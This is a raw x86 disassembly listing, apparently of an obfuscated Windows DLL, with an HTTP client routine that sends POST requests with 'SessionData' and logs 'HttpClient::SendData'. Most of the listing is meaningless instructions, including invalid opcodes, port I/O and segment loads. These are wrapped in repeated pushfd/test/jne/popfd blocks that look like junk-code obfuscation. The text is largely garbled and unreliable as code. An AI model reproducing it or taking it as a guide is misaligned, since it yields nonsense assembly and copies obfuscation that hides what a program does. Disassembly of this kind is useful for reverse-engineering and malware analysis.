imul edx, edx, 0x332f9b9e
cmp bh, byte [edi - 0x6f35a669]
push ebx
mov al, 0xe
std
dec byte [esi - 2]
sbb byte [eax], al
jno 0x100a2d22
xchg ebx, eax
outsb dx, byte [esi]
xchg byte [edx], dl
pop edx
xor ebx, ebx
test dword [edx + 0x556b7076], ecx
dec eax
aad 0x4b
mov bl, 0xb2
pushfd
dec ecx
in al, dx
sub dword [edi + 0x62354157], esp
inc ebp
adc eax, 0x27aab6dc
push es
pushfd
sbb dl, byte [ecx]
or edi, dword [ebp + 0x3b]
je 0x100a2e1b
jae 0x100a2dc8
mov ecx, dword [edi + ebp]
in al, dx
int 0x90
out 0x72, eax
push es
sub al, 0x36
sub eax, 0x2b2f9083
mov esi, 0x6a332d7f
cmp edx, dword [edi]
inc esi
test eax, 0x5cdb4bc0
imul ebp, ebp, 0x5a
push eax
dec esp
mov ecx, edx
push es
xchg dword [eax - 0x1e11a8f6], esp
pop ebp
mov ebx, 0xa0e5232e
jne 0x100a2da3
scasd eax, dword es:[edi]
js 0x100a2df4
adc ecx, dword [edi + ebx*2]
or al, 0x5f
lahf
aad 2
jecxz 0x100a2e66
fdivr dword [edi - 0x7b]
sal dword [ebp - 0x7fdf655b], 1
pop eax
outsd dx, dword [esi]
rol byte [ecx + 0x2f414ef9], 0xfb
cmp ecx, 0xfb2f414e
scasd eax, dword es:[edi]
inc ebp
pop ecx
mov dword [eax + ecx + 0x24d7fd36], esi
and ah, byte [ecx + 0xe]
jae 0x100a2e89
popfd
mov dword [ebp - 4], 1
call fcn.10004b88
mov dword [ebp - 0x1788], 0xf
call 0x101a2e1f
add byte [eax], al
mov dword [ebp - 0x178c], ebx
mov byte [ebp - 0x179c], bl
mov byte [ebp - 4], 2
cmp edi, 0xbb8
jbe 0x100a2f6d
cmp dword [esi + 0x380], ebx
jne 0x100a2f6d
and eax, dword [ecx]
add byte [eax], al
push str.POST
pushfd
test byte [0x100a2f0f], 0xb9
jne 0x100a2f10
sub edx, dword [eax + 0x4c]
or ch, byte [esi + ebp + 0x7df36039]
add eax, 0xa802a73a
or edi, dword [esi + 0x5a396265]
jge 0x100a2e6d
cmp ah, byte [edi - 0x41f457fe]
bound edi, qword gs:[ecx]
pop edx
mov esi, 0x5a396265
push esp
and ah, bl
sbb ebp, dword [esi]
nop
jne 0x100a2ea9
sbb al, 0xac
push 0xca3a82e5
sbb ebp, esp
clc
jns 0x100a2e46
add word [esi], bx
out dx, al
jb 0x100a2ed8
push ecx
cmpsd dword [esi], dword es:[edi]
sahf
add al, 0x29
mov ebp, 0xe4e56af5
insb byte es:[edi], dx
xchg esp, eax
imul edi, dword [esi], 0xeff147b5
mov dh, 0xc6
xchg esp, eax
and eax, 0xd898c3fa
adc eax, 0xd6cd8a23
mov cl, ch
salc
arpl si, cx
daa
nop
cmp byte [edx - 0x7c21fca], dl
push 0x3ed831d4
cmp eax, 0x31d468f8
fdivr dword [esi]
movsb byte es:[edi], byte [esi]
push ds
mov al, 0xd6
mov eax, 0x143f4ec2
dec esp
test eax, 0xb407cf84
salc
cmp ah, byte [ebp + 0x74472f9e]
jo 0x100a2f24
lds esi, [edx + 0x78]
fdivr qword [0x4e6b0a6]
add al, 0xfc
cmpsb byte [esi], byte es:[edi]
mov al, 0xe6
add al, 4
cld
cmp eax, 0x179af98a
aaa
insb byte es:[edi], dx
mov dword [ecx], edi
mov bl, 0x67
lahf
loop 0x100a2eb4
pop ds
out dx, al
sub ecx, 0x4659d888
push eax
push esp
mov edx, dword [ecx + 0x26258c75]
xchg dword [ebx], ebx
imul esi, ebx, 0x1352fb0e
call [eax]
jl 0x100a2f5d
les eax, [edx + esi + 0x4fb17a8e]
popfd
call fcn.1011d740
pop ecx
push eax
pushfd
test byte [0x100a2f2c], 0x76
jne 0x100a2f2d
lds esi, [ecx - 0x65]
wait
pop esp
push eax
add al, byte [ebx + 0xe]
push es
add bh, byte [eax]
popfd
push str.POST
jmp 0x100a30ac
jne 0x100a2f46
adc cl, ch
je 0x100a2f37
add byte [eax], al
pushfd
test byte [0x100a2f6b], 0x64
jne 0x100a2f6c
add byte [esi + esi*8 + 0xa2f6b05], bl
adc byte [ebp + esi*2 + 0x2a], ah
jne 0x100a2f6c
xor al, 0xa8
push esp
inc edi
cmp al, 0xc9
fcom qword [edx - 0x56]
popfd
rcr byte [eax + 0x2e72c7ae], 1
push ebp
or eax, 0xab37a144
pushfd
out 0x5b, eax
push ebp
mov ss, word [ecx - 0x28]
mov al, byte [0x95f99aa6]
push ecx
fsub dword [eax - 0x6a06655a]
mov ch, byte [edi]
cmpsb byte [esi], byte es:[edi]
test byte [edi - 0x2c], cl
jl 0x100a2f27
popfd
push 0x101475f8
call fcn.1011d740
pop ecx
push eax
pushfd
test byte [0x100a2fa5], 0xe
jne 0x100a30a6
and esi, eax
push es
cmp bh, cl
jg 0x100a2f3f
push 0x820761bb
xor eax, 0xef33e2c9
pop esp
pop es
mov dword [0x4683ba96], eax
push cs
xor ah, bh
push eax
mov dword [0xe36bff3f], eax
pop ss
jo 0x100a2f30
enter 0xffffffffffff809c, 0xfffffffffffffff4
dec eax
adc ecx, dword [edi - 0x3e]
adc byte [edi + 0x3e], cl
idiv dword [ecx]
push ecx
out dx, eax
and al, 0x3f
sbb eax, 0x3991c708
mov ebx, 0x3b687a81
arpl word [ebx + 6], sp
jecxz 0x100a3006
cmp al, 0x39
inc esp
pop edx
rcl edi, 0xee
out dx, eax
pop edi
mov dword [edx - 0x6b89d8ba], eax
salc
sub esp, dword [ecx - 0x65]
ja 0x100a2ff1
cmp byte [eax], cl
pop ebx
jecxz 0x100a3007
and esp, dword [edi - 0x6d]
push 0x5928d94
out dx, eax
pop edx
cmp esi, dword [eax + 0x4a]
jo 0x100a303d
test dh, 0x57
push edi
push 0x90a9da81
jae 0x100a301e
rcl byte [0x1e59395d]
pop ebp
cmp dword [ecx + 0x1e], ebx
enter 0xffffffffffffbe99, 0x7d
jge 0x100a2fe3
fcomi st(6)
jecxz 0x100a2ff5
mul bl
ljmp 0x54b4
lodsb al, byte [esi]
jno 0x100a3086
sbb byte [esp + edx*2 - 0x6f3d3b40], dh
dec esi
loopne 0x100a301a
jo 0x100a301b
call 0x94cc166a
adc dword [edi - 0x67], ebx
dec ebx
out 0xc1, al
test byte [ecx], dl
pop edi
cdq
jecxz 0x100a3094
lahf
lodsb al, byte [esi]
loopne 0x100a30a7
pushfd
mov dh, byte [edx - 0x3681449]
mov edx, 0x215d065b
add al, 0x35
jle 0x100a2fff
test dword [edx - 0x45], edi
in al, 0xec
sub byte [ebp + 0x1b], al
cld
mov cl, 0x1f
adc al, 0xe3
xlatb
inc edi
push esp
adc byte [edi + 0x79], dl
sbb eax, 0xf793500e
mov ecx, 0x76f98332
mov al, byte [0x488922a6]
out dx, al
scasb al, byte es:[edi]
int3
shr byte [esi], 0xbf
rcl byte [edx + 0x72fc2444], 0x81
jb 0x100a30cb
and ebp, esi
mov al, byte [0x14656428]
sub byte [ebp + 0x14], ah
xor dword [eax], ebp
dec edx
outsd dx, dword [esi]
fdiv dword [esi + 0x47ac47b0]
out 0xbb, al
jae 0x100a3077
cwde
xchg ebp, eax
xchg dword [ebx - 0x2df546d6], ecx
outsd dx, dword [esi]
add eax, 0x5bdd7540
popfd
push 0x101475f8
lea ecx, [ebp - 0x179c]
pushfd
test byte [0x100a30ee], 0xfc
jne 0x100a30ef
add al, 0x88
add byte [0xcd5f35e4], bl
mov ah, 0xe6
outsb dx, byte [esi]
mov eax, 0xc47d32c1
jae 0x100a3127
les esi, [ebx + 0x59]
int3
popfd
call fcn.10005303
cmp edi, ebx
jle 0x100a3e9a
invalid
cmp dword [esi + 0x380], ebx
je 0x100a31f0
mov ecx, dword [ebp - 0x1814]
mov eax, 0xbb8
mov dword [ebp - 0x1818], eax
pushfd
test byte [0x100a31e4], 0x90
jne 0x100a31e5
add byte [eax], al
add ah, bl
iretd
fmul st(7), st(0)
pop edx
popfd
mov byte [edi + 0x7b], ah
push 0xd1c17a44
push edi
push cs
inc esp
jp 0x100a30f4
rcl dword [edi + 0x3e]
push cs
push ecx
mov esi, 0x9f4d6190
cmp al, 0x9f
add al, 0x57
jge 0x100a3126
rcr ecx, 0x65
xor byte [edx + 0x10], bl
or esp, edx
out dx, eax
inc byte [edx + edi*4 + 0x676f624b]
outsd dx, dword [esi]
and eax, 0xed94b849
jne 0x100a3130
push ds
bound ecx, qword [edx + edx - 0xf5aec12]
push esi
in eax, dx
pop ds
adc dl, byte [edx]
stc
fisub dword [edx - 0x43edbe84]
loopne 0x100a31aa
out dx, al
cwde
mov ecx, 0x5581de47
das
in eax, 0xfc
lgs esp, [edi + 0x1479103]
adc ebx, dword gs:[edx]
jl 0x100a319d
cdq
push 0xffffffffffffff80
xchg ebx, eax
or eax, edi
cwde
mov bh, 0xfb
push edi
inc ebp
xchg ebx, eax
xchg ebp, eax
test eax, 0x7dcc4803
push ebp
cwde
pop esp
mul byte [eax - 0x17d980e5]
mov edx, 0xdbf6f9cf
test al, 0x27
mov esi, 0x931e1c58
fld xword [eax + 0x1c58be27]
push ds
xchg ebx, eax
add ah, byte [edx - 6]
lds ebp, [edx]
push 0xa5e6b34f
test byte [ebx], dh
xchg esp, eax
mov edi, 0x92b8fcb9
fdivrp st(7)
push eax
salc
int3
popfd
cmp ecx, eax
jg 0x100a31f0
mov dword [ebp - 0x1818], ecx
push dword [ebp - 0x1818]
pushfd
test byte [0x100a3288], 0xac
jne 0x100a3289
nop
not ecx
in al, 0x4f
test dword [ecx - 0x28], edx
mov ch, 0xc3
salc
aas
clc
inc ecx
push ebp
jg 0x100a320a
jg 0x100a320a
sub dword [ebx], ebp
cmp dword [ecx], edi
int 0xaf
sub byte [ebp + 0x3d4cee8], cl
in eax, 0xe
pop edi
mov cl, bh
arpl sp, ax
pop ss
pop ds
pop ebx
xor edx, dword [ecx - 0x24d7cee4]
stc
mov eax, esp
les ecx, [ebx - 0x5a]
test byte [esi], 0xb3
push 0x3dc4f372
push ebx
or eax, 0xce2beec1
dec ebp
sub byte [bx + si + 0x52a], al
test byte [esi + 0x6032be8a], ah
sbb al, 7
pop es
dec ebx
mov ebp, 0x7c952189
push es
mov edx, 0x66bd8bf7
or dword [esi + 0x928c6b2], ebx
and dword [ebp - 0x45f99b84], edx
test dword [ebx - 0x61f69943], 0x928c6b2
xchg ebx, eax
sbb dword [ebx + 0x35c731c8], ebx
das
jecxz 0x100a32a3
sbb dword [eax + 0x2d1eeb3b], edi
push 0xfffffffffffffff5
mov ah, byte [ebp + 0x21c3eeb0]
popfd
adc al, 0x63
je 0x100a3216
adc ch, dh
popfd
mov eax, edi
sub eax, dword [ebp - 0x1814]
lea ecx, [esi + 0x194]
add eax, dword [ebp - 0x1824]
push eax
lea eax, [ebp - 0x17b8]
push eax
call fcn.100060ff
push 0x176f
pushfd
test byte [0x100a332b], 0x85
jne 0x100a332c
invalid
add eax, 0x100a332b
sub esi, dword [ebx]
or dl, byte [eax]
test dword [ebp + 0x72], esi
into
jbe 0x100a3255
loop 0x100a3259
mov byte [ecx], dl
dec dword [edi + 0x158b2f68]
mov cl, 0x1f
xlatb
test eax, 0xace11f2d
imul esp, esp, 0x874f3ce9
push eax
mov ah, 0x40
add dword [edi + 0x4acefe80], esp
loop 0x100a32b2
push 0x2e
rcl edx, cl
xor dword [ecx - 0x33d4931b], esi
in eax, 0x8d
mov eax, dword [0x93c888c3]
dec eax
sub edx, eax
add ah, bh
mov dh, 0x72
rcr dword [edi + 0x2e1b0f6a], 0xdf
sal dword [esi + 0x3b], 0x9a
sub byte [ebp + edi*4 + 0x75], bh
pushfd
push ebx
pop ebx
popal
clc
lds esi, [ebx - 0x5d]
jae 0x100a32b2
or ebx, dword [ebp - 0x69]
and byte [edi + ecx*4 - 0x4f7c18c7], dh
jae 0x100a32b3
in al, 0x39
pop edx
mov al, byte [0x5a50a4af]
push esp
or byte [edi - 0x4c7389fe], bl
popfd
lea eax, [ebp - 0x177f]
push ebx
push eax
mov byte [ebp - 4], 3
pushfd
test byte [0x100a342e], 0xf2
jne 0x100a342f
push esp
jl 0x100a33a4
out 0xce, eax
mov esi, 0x4a8a0af4
add byte [edi - 0x65], dh
xor al, 5
sbb dword [esi - 0x6d], eax
sbb byte [ebp + 0xbbfb373], 0x75
jne 0x100a3360
jmp dword [eax + 0x1c056071]
mov al, byte [0x1c056071]
mov edx, 0xfc659414
push ecx
jae 0x100a330d
cld
out dx, al
imul edx, dword [eax - 0x1d], 0x88e86cc2
into
dec ebx
dec ebx
scasb al, byte es:[edi]
pop ecx
jne 0x100a337d
rcr edi, cl
cmp dword [ecx + 0x53], esp
xor edx, dword [ebp - 0x2517d2]
dec esp
in eax, dx
call 0xfd573366
and eax, 0x72a2fcb6
or esp, dword [eax + 0xd]
xor al, 0xb7
in al, dx
and al, 0xc3
push 0xffffffffffffffaa
test al, 0x7b
pop edi
jae 0x100a3325
inc esi
in eax, dx
jle 0x100a33b6
lds ebp, [edi - 0x34829baa]
push edx
push esp
sbb eax, esp
cmp dword [edi], edx
mov eax, 0x63123182
daa
daa
sub eax, 0x5cb5e80a
aad 0xaf
adc byte [ecx + ebp*2], dh
and eax, 0x524a5f65
fnstenv [0x44f5a22b]
inc edi
jecxz 0x100a335f
xlatb
daa
add dword [edx + 0x47], 0x3e
xor bh, 0x78
sbb eax, 0xcd5e0036
sub al, 0x30
jne 0x100a3394
ja 0x100a343f
lahf
jnp 0x100a3386
pop es
out 0x9c, al
pop esi
xchg ebp, eax
sub dword [ebx], 0x88374a83
outsd dx, dword [esi]
mov edi, dword [ecx]
inc dh
scasd eax, dword es:[edi]
inc ebp
pop edx
jecxz 0x100a3432
test dword [ebp + 0xf0ff0fe], esi
sub al, 0xa1
int1
daa
push 0xdbeaa596
cmp esi, edi
in al, 0xf
inc ecx
mov ebx, 0x9e4e1c3d
adc esi, esp
inc esi
cmp eax, 0x2f160c46
sub dh, byte [esi - 0x59216574]
mov dl, 0xe5
pop edi
inc eax
mov ecx, 0x601ad45e
out dx, eax
out 0x24, eax
popfd
mov byte [ebp - 0x1780], bl
call fcn.1011df60
lea eax, [ebp - 0x1780]
push str.SessionData
push eax
call fcn.1011f120
mov eax, dword [ebp - 0x17b8]
add esp, 0x14
cmp dword [ebp - 0x17a4], 0x10
jae 0x100a3464
sub al, 0xff
invalid
invalid
lea eax, [ebp - 0x17b8]
push eax
lea eax, [ebp - 0x1780]
push eax
call fcn.1011f130
pop ecx
pop ecx
pushfd
test byte [0x100a354f], 0x27
jne 0x100a3550
stosb byte es:[edi], al
adc cl, byte [eax - 0x20]
stc
add byte [edx], ch
movsd dword es:[edi], dword [esi]
add eax, 0xafaf67b6
inc edx
sbb al, dh
xchg edi, eax
int3
popfd
lea eax, [ebp - 0x1780]
push eax
lea ecx, [ebp - 0x17d4]
call fcn.10005af6
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x17d4]
push eax
lea ecx, [esi + 0x260]
mov byte [ebp - 4], 4
pushfd
test byte [0x100a3654], 0x44
jne 0x100a3655
pop esi
inc edi
xchg ebp, eax
int1
inc edx
pop esi
cmc
lodsd eax, dword [esi]
cmc
sub dword [esi], esp
rcl byte [ebp + 0x7ef0115]
cmp ebx, dword [esp + eax*4]
loopne 0x100a3605
adc al, 0xd3
cmp byte [ebp + 0x4c], bl
inc esp
scasb al, byte es:[edi]
dec ebx
or al, 0xe4
pop eax
and dword [esi + 0x65], ebp
fstp xword [eax]
lodsb al, byte [esi]
push 0xea0ae31b
mov dl, 0x52
xchg dword [esi + edi*8 + 0x338801cf], esp
cmpsd dword [esi], dword es:[edi]
into
imul esi, edi, 0x14
in eax, dx
out 0xaf, al
add dword [edi + 0x30], esp
dec ebp
jns 0x100a35b8
add dword [eax + 0x6bcea733], ecx
not dword [ebp*8 + 0x6701afe6]
xor byte [ebp + 0x79], cl
out dx, eax
jo 0x100a3606
pop ebp
jge 0x100a3637
and eax, dword [ebx]
sbb ebx, dword [ebp + 0x646b3e01]
push edi
scasb al, byte es:[edi]
push 0xffffffffffffff87
mov ds, word [esi]
or bh, al
mov esp, 0x35ce946
jae 0x100a3630
shr dword [ebp + 0x25148097], 0x21
mov ebp, 0x3aac5959
movsb byte es:[edi], byte [esi]
sub eax, 0x8dd9184
sbb al, 0x84
push ecx
inc edx
mov esp, 0x2086c4a2
mov cl, 0xd9
mov eax, 0x7fde8936
arpl word [edx], bx
pushfd
outsb dx, byte [esi]
in eax, 0x63
bound edi, qword [0xf7d87000]
xor ah, byte [esi - 0x6a9c107d]
mov esi, ebx
mov esi, ebx
jg 0x100a366d
sbb bl, byte [esi + ebp*2 + 0x3d6263e5]
add byte [eax - 0x28], dh
div dword [edx]
cmpsb byte [esi], byte es:[edi]
sub edi, 0x63
xchg ebp, eax
in eax, 0xa
xchg edx, eax
imul edx
dec ecx
faddp st(4)
or al, 0xf7
and byte es:[esi + 0x38], cl
push esp
push ss
pushfd
mov eax, dword [0xf4bbdb3]
cmp dword [edi - 0x3f], 0xffffffbe
mov byte [edx], dl
jae 0x98c8f7b5
adc dh, byte [ecx + 0x6d]
jno 0x100a36a6
jne 0x100a3686
xchg ebx, eax
imul dl
xchg esp, eax
dec edx
or edi, 0x3212d4f2
push ss
cmp edx, dword [ebx + ebp*2]
push ebx
dec ebx
in eax, 0x70
xlatb
loopne 0x100a3651
jmp [eax - 0x17626951]
test al, 0xaf
xchg esi, eax
popfd
call fcn.10004b88
push ebx
push 1
lea ecx, [ebp - 0x17d4]
mov byte [ebp - 4], 3
pushfd
test byte [0x100a3698], 0x14
jne 0x100a3799
or dl, byte [eax]
adc al, 0xf
test dword [ebx], esp
add dword [eax], eax
add byte [esp + edi*2 - 0x2c6ca0cf], ah
invalid
movsb byte es:[edi], byte [esi]
jl 0x100a36aa
pop edi
xchg ebx, eax
rol edi, cl
lodsd eax, dword [esi]
mov al, byte [0xe8db546e]
jg 0x100a3697
test byte [eax], dl
mov bl, byte [ebx + 0x67b8d900]
sbb dword [ebx + 0x3cea0e44], 0x733e9af9
adc byte [edx - 0x4726ff65], cl
sbb dword [bp + di + 0xe44], 0x9af93cea
jae 0x100a36bf
daa
sbb edx, dword [ecx - 0x7b]
sub dl, bl
mov bl, 0xa0
xchg ecx, eax
cli
test al, 0xf3
pushal
mov ecx, 0xdb56869f
xchg byte [esi - 0x25], dl
lodsd eax, dword [esi]
mov byte [ebx], dl
fcmove st(0), st(3)
jnp 0x100a36ab
adc ebx, edx
retf
cwde
dec edi
sbb al, byte [ebx + 0x48]
xchg ecx, eax
mov dword [edi - 0x30], esp
mov ch, byte [edi + 0x2d663e0d]
rcr byte [ebp + 0x7abeecd8], 0xd3
jecxz 0x100a36b0
or cl, byte [edx - 0x6b79d65c]
mov eax, 0xcbd80c31
jle 0x100a3746
jno 0x100a36e1
or esi, esp
sub ebp, esi
xor al, 0xa0
dec ebp
xchg ebx, eax
xchg esp, eax
push ebp
and ebp, dword [eax + 0x5d]
hlt
pop ebp
and ebp, edi
or eax, 0x23045299
insb byte es:[edi], dx
push ebp
popfd
stc
or byte [esi + ebx*2 + 0x5e6f9bcc], dl
inc edi
sub al, ch
neg dword [ebx - 0x1aaf30a3]
inc ebp
aaa
call dword [ebp - 0x7e]
jecxz 0x100a3735
out 0x5e, eax
pushfd
int3
or cl, ch
add ebp, edi
fldenv [ebp - 0x26834a67]
mov edx, esi
imul esi, dword [esi - 0x7afec81c], 0x23927d64
sti
cmp cl, byte [edx - 0x1d]
pop esp
sbb eax, 0xfbbd7722
fstpnce st(2), st(0)
scasd eax, dword es:[edi]
fcom st(5)
pop edi
mov bh, 0x1d
cmpsb byte [esi], byte es:[edi]
mov ebp, 0xb5fc6ed5
stosd dword es:[edi], eax
mov word [edi], ss
insb byte es:[edi], dx
sbb al, 0x8a
cwde
push cs
je 0x100a37ac
js 0x100a370f
js 0x100a370f
pop edx
sub dword [ebx], ebx
pushfd
pushfd
repe scasd eax, dword es:[edi]
mov ah, 0xf6
loopne 0x100a36d4
add bl, byte [ebx + 0x50]
pushfd
xor eax, 0x7506ae2a
inc eax
mov edx, 0x8ba720dd
inc eax
cli
mov ebx, 0xf4df76f3
cmp al, 0x46
inc esi
push ebp
mov al, byte [0xffc99f32]
or byte [esi], ah
aam 0x90
mov ebx, 0x88f987c9
aaa
pop esi
cmp al, 0xee
cld
and ebp, dword [ebx + 0x7f]
out dx, eax
push edx
pushfd
shl edi, 1
mov gs, word [edx + 0x26]
out 0x8e, eax
push 0x26
push 0xe2ea4816
fidivr dword [esi - 0xc]
loop 0x100a376b
jle 0x100a3787
or al, 0xf6
lodsd eax, dword [esi]
lahf
push esp
popfd
call fcn.10002a9a
push dword [ebp - 0x1818]
push str.HttpClient::SendData_iSendLen_d
push ebx
push 3
call fcn.10049c0c
add esp, 0x10
push ebx
lea eax, [ebp - 0x179c]
push eax
lea ecx, [esi + 0x198]
call fcn.1007ac56
test al, al
je 0x100a3f3f
add ebp, eax
pop edx
cli
inc dword [ebx - 0x72acef3c]
test dword [eax + ebp*8 - 1], esp
call dword [eax - 0x73]
mov ds, word [eax - 0x17ffffff]
invalid
std
inc dword [eax + eax*8 + 0x76f840f]
add byte [eax], al
lea eax, [ebp - 0x180c]
push eax
lea ecx, [esi + 0x198]
pushfd
test byte [0x100a37f0], 0xd9
jne 0x100a38f1
sti
xchg ebx, eax
aam 0x9f
lodsd eax, dword [esi]
inc edi
xlatb
lea esp, [ebp + 0x3ce9da1d]
and edi, eax
mov ebp, 0xa91223eb
dec ebp
push es
mov dl, 0xba
pushfd
jge 0x100a378f
xchg ecx, eax
in eax, dx
rcr dword [0xed34a9bd], 1
xchg esi, eax
je 0x100a3808
das
sub eax, 0x807198fe
int1
dec esi
sbb byte [edx], bh
js 0x100a3869
mov al, 0x9d
insd dword es:[edi], dx
cmp dword [esi], ebx
mov ebx, dword [edx - 0xd1c489a]
push eax
daa
pop ds
out 0x75, eax
xor al, 0xe9
jle 0x100a37c6
dec ebp
xor al, 0x69
push eax
int 0x8c
mov esp, 0x743dad70
add al, 0x97
test dword [eax], ebp
scasb al, byte es:[edi]
mov esp, 0x662f0c50
out dx, al
dec ebp
sbb eax, 0x99c0f3e3
or ah, byte [edx - 0x3a6043d]
pop ds
xor al, 0xab
sub dh, byte [edx - 0xfc5a2c9]
add dl, dl
ja 0x100a38bd
sar byte [edi + 0xfc51769], 0x48
cmp eax, 0x6dcfd92
xchg edx, eax
std
fadd qword [esi]
or dword [edx + edx*2 + 0x64], edx
cld
adc dword ds:[edi + 0x3c], 0x8c26d04f
push 0xffffffffffffffea
adc byte [ebx + 0x1e7ae6d8], al
push ecx
pop edx
pop esp
add ecx, edi
cmc
popfd
jns 0x100a38bf
pop ss
imul dword [ebp + 0xa]
push ds
out 0xf5, eax
pop ecx
mov word [0xf223ba3f], ax
mov dl, 0xbf
xor bh, dh
xlatb
and al, 0xf9
popal
pop edx
shr byte [edx - 0x70], 1
imul edx, edi, 0x34
inc eax
enter 0xffffffffffffeab8, 0x17
inc ebx
mov edi, 0x619a0eab
ja 0x100a3891
scasb al, byte es:[edi]
dec edi
sub al, 0x70
inc ebx
sub byte [ebx + 0x3c5a88c4], 0x24
les ecx, [eax - 0x2bdbc3a6]
retf 0x3ce7
pop edx
cmp al, 0x24
aam 0xca
out 0x3c, eax
mov dword [0x5fdb2f27], eax
dec ebx
mov edi, 0x3e9986a3
imul ebp, dword [eax], 0x393a29d1
insb byte es:[edi], dx
adc edi, dword [edi - 0xa19be38]
pop es
or dword [eax], 0x5c63474b
sub dh, byte [ebp*4 - 0x2f0c6de]
adc al, 0xf7
and ch, cl
push cs
popfd
call fcn.1006f2a4
mov dword [ebp - 0x1820], eax
pushfd
test byte [0x100a399a], 0x53
jne 0x100a399b
aam 0xe2
test eax, 0xa8b5803e
movsb byte es:[edi], byte [esi]
ffreep st(1)
fisttp dword [ebp + 0x7d86c1d]
xor al, 0x75
xchg ebp, eax
add edi, dword fs:[ebx]
push ds
je 0x100a3926
xchg ebp, eax
and al, 0x7a
mov dl, 0x12
loopne 0x100a398a
mov ecx, 0xc621059
mov ebx, 0xa05c8645
sub dword [ebx - 0x1c], 0xb
add dword [edx], 0x712d56a3
jl 0x100a392c
ja 0x100a3952
sbb al, 0x17
salc
push 0xef013db0
pop ds
inc esp
insb byte es:[edi], dx
mov ch, 0x3c
adc edx, dword [edi]
pop ss
clc
mov ah, 0xc3
jb 0x100a3980
and eax, 0x5efdc144
stosb byte es:[edi], al
mov ebp, 0x7a46fb67
jo 0x100a39aa
mov eax, 0xbd0f0b33
dec eax
xchg ecx, eax
add ecx, ecx
dec edx
or dword [edi + 0x44], 0xffffff8f
push cs
popal
mov bh, byte [esi]
inc edx
dec ecx
xchg ecx, eax
push ss
or al, byte [esi]
or byte [ebx - 0x93d6b94], dl
shl dword [eax + 0x3f], cl
salc
pop es
aam 0xb5
dec eax
insb byte es:[edi], dx
xchg esp, eax
ret 0xd3f6
mov ch, 0x48
mov byte [edi], ch
sub byte [ebx - 0x3e], al
sub ebp, dword [edx]
std
insd dword es:[edi], dx
xor eax, 0x1f0cc948
pushfd
popfd
push 0x10147604
pushfd
test byte [0x100a3a53], 0xc1
jne 0x100a3a54
test dword [ebp + 0x6d000000], esp
insd dword es:[edi], dx
and eax, 0x1d1a7494
mov ah, 0xb8
daa
pop ebp
adc byte [esi + 0x62], bl
jns 0x100a39de
or al, 0x8f
movsd dword es:[edi], dword [esi]
pushal
pop edi
push cs
std
push cs
jno 0x100a39fd
xor al, 0x1f
pop ds
mov ch, 0x49
leave
jmp [ebp + 0x6e]
mov al, 0xae
cld
sub dword [esi - 0x46], edx
std
rcr dword [eax - 0x16], 1
scasb al, byte es:[edi]
ror byte [eax - 0x1f], cl
mov dh, 0x94
xchg esp, eax
jecxz 0x100a398a
adc al, 0x28
mov ecx, 0xfb0c72b3
push cs
adc byte [edi - 1], al
scasd eax, dword es:[edi]
in al, 0x49
dec esp
add byte [esi + 0x63], ch
scasb al, byte es:[edi]
or al, 0xee
js 0x100a39c8
adc dword [ecx - 0x1a5487f9], edi
jno 0x100a39f3
inc esi
rol byte [edi], cl
test dword [esi - 0x2627f47b], ebp
push ss
jle 0x100a39ee
xchg ebp, eax
in al, dx
nop
mov dl, byte [ecx - 0x4d]
adc dword [esp + eax*8 + 0x2c8739cc], edx
adc byte [edi + eax*8 - 0xf35c60a], bh
push ss
pop edx
xchg esp, eax
xor dword [0x197ec1c0], ebp
adc word [ebx], sp
sub dword [esp + esi*2 - 0x7ceec036], 0x6b
je 0x100a3a21
idiv byte [ecx]
retf 0x16f0
test byte [eax], 0xf8
jecxz 0x100a39ec
stc
movsd dword es:[edi], dword [esi]
cmp byte [esi], dl
pop edi
jo 0x100a3a2e
popfd
mov byte [ebp - 4], 5
call fcn.1011d740
pop ecx
pushfd
test byte [0x100a3ad0], 0x4a
jne 0x100a3ad1
or dword [eax + 0x6d26ddc7], eax
xor ebx, dword [0x11a8d3b7]
pop edi
xor al, 0xf4
mov ch, 0xa8
dec esi
or eax, 0xacb2716b
xchg esi, eax
stc
mov dword [edx - 0xe], esp
cmc
or dword [edx + 0x4b857608], esp
jns 0x100a3a8d
invalid
pop ebp
xor eax, 0x52b1bed7
jne 0x100a3ad5
mov cl, 0xe7
sbb dword [esi + ebx*2 + 0x1b], ebp
mov esi, 0x79b3536e
push esi
mov bl, 0x2a
xor eax, 0x69eeed01
test esp, 0x4f2b2a77
shl ch, 0x3b
cwde
sbb dword [ebx + edi*4 - 0x18a0abf1], edi
rcl byte [ecx], cl
jg 0x100a3a8e
fdiv st(3), st(0)
in al, dx
jb 0x100a3a60
or ebp, ebp
xor eax, 0x1904ac08
nop
mov eax, 0xaf4fe882
popfd
mov ecx, dword [ebp - 0x1820]
pushfd
test byte [0x100a3b86], 0xd3
out 0xff, eax
call [esi + esi*8 + 0xa3b8605]
adc bl, dl
je 0x100a3b87
sbb al, 0xb1
les ebx, [ebp - 0x7b8922a8]
mov cl, 0xc4
popfd
pop eax
fnsave dword [esi - 0x7c]
xchg esi, eax
push cs
mov esi, 0xcd7d303f
sbb eax, dword [ebp - 0xe9eccb5]
xchg dword [edx + 0x3097dd2e], eax
sahf
xor dl, dh
loopne 0x100a3b77
xor byte [esp + eax*8 + 0x783b5e5], dl
lodsb al, byte [esi]
adc byte [ebx - 0x5b], al
and edi, dword [edx - 0x35]
out 0x61, eax
neg byte [ebx - 0x13ff2aa2]
jbe 0x100a3b4a
jae 0x100a3b7a
add eax, 0xfd101fd1
xor dword [esi], ebp
fsubr dword [ecx + 0x77849cbb]
das
cmp eax, 0x3757cac6
xor dl, ch
loopne 0x100a3ae7
rcl bh, 1
insd dword es:[edi], dx
rcr dword [esi + edi*8 + 0x351fdd3c], 0x31
pop esi
push ss
enter 0x52bf, 0xffffffffffffff9d
inc ebp
mov ecx, 0xc01c001a
cdq
add al, 0x34
add bl, 0x28
call 0x6d5c188f
daa
dec ebp
push ebx
invalid
adc dl, byte [edx]
outsb dx, byte [esi]
mov esp, 0xe96eb12a
and ebx, eax
fisubr dword [ebx + 0x50]
xchg esi, eax
int 0x2c
popfd
push eax
push 0x10147604
add al, 0x76
adc al, 0x10
pushfd
test byte [0x100a3c92], 0x92
je 0x100a3c93
jae 0x100a3b50
and eax, 0x704bd3f2
xor al, 0x4e
xor al, 0x76
sub ecx, dword [edi + 0x6f02eafd]
fucomp st(1)
cmp al, 0xd6
sahf
xchg ebp, eax
jae 0x100a3c17
and al, 0x54
fcomi st(7)
xchg edx, eax
sbb ch, bl
adc eax, 0x4600cd3c
rol dword [ebp + ecx - 0x452fa7fd], 1
shr dword [edx], cl
or al, 0x60
sub cl, byte [eax]
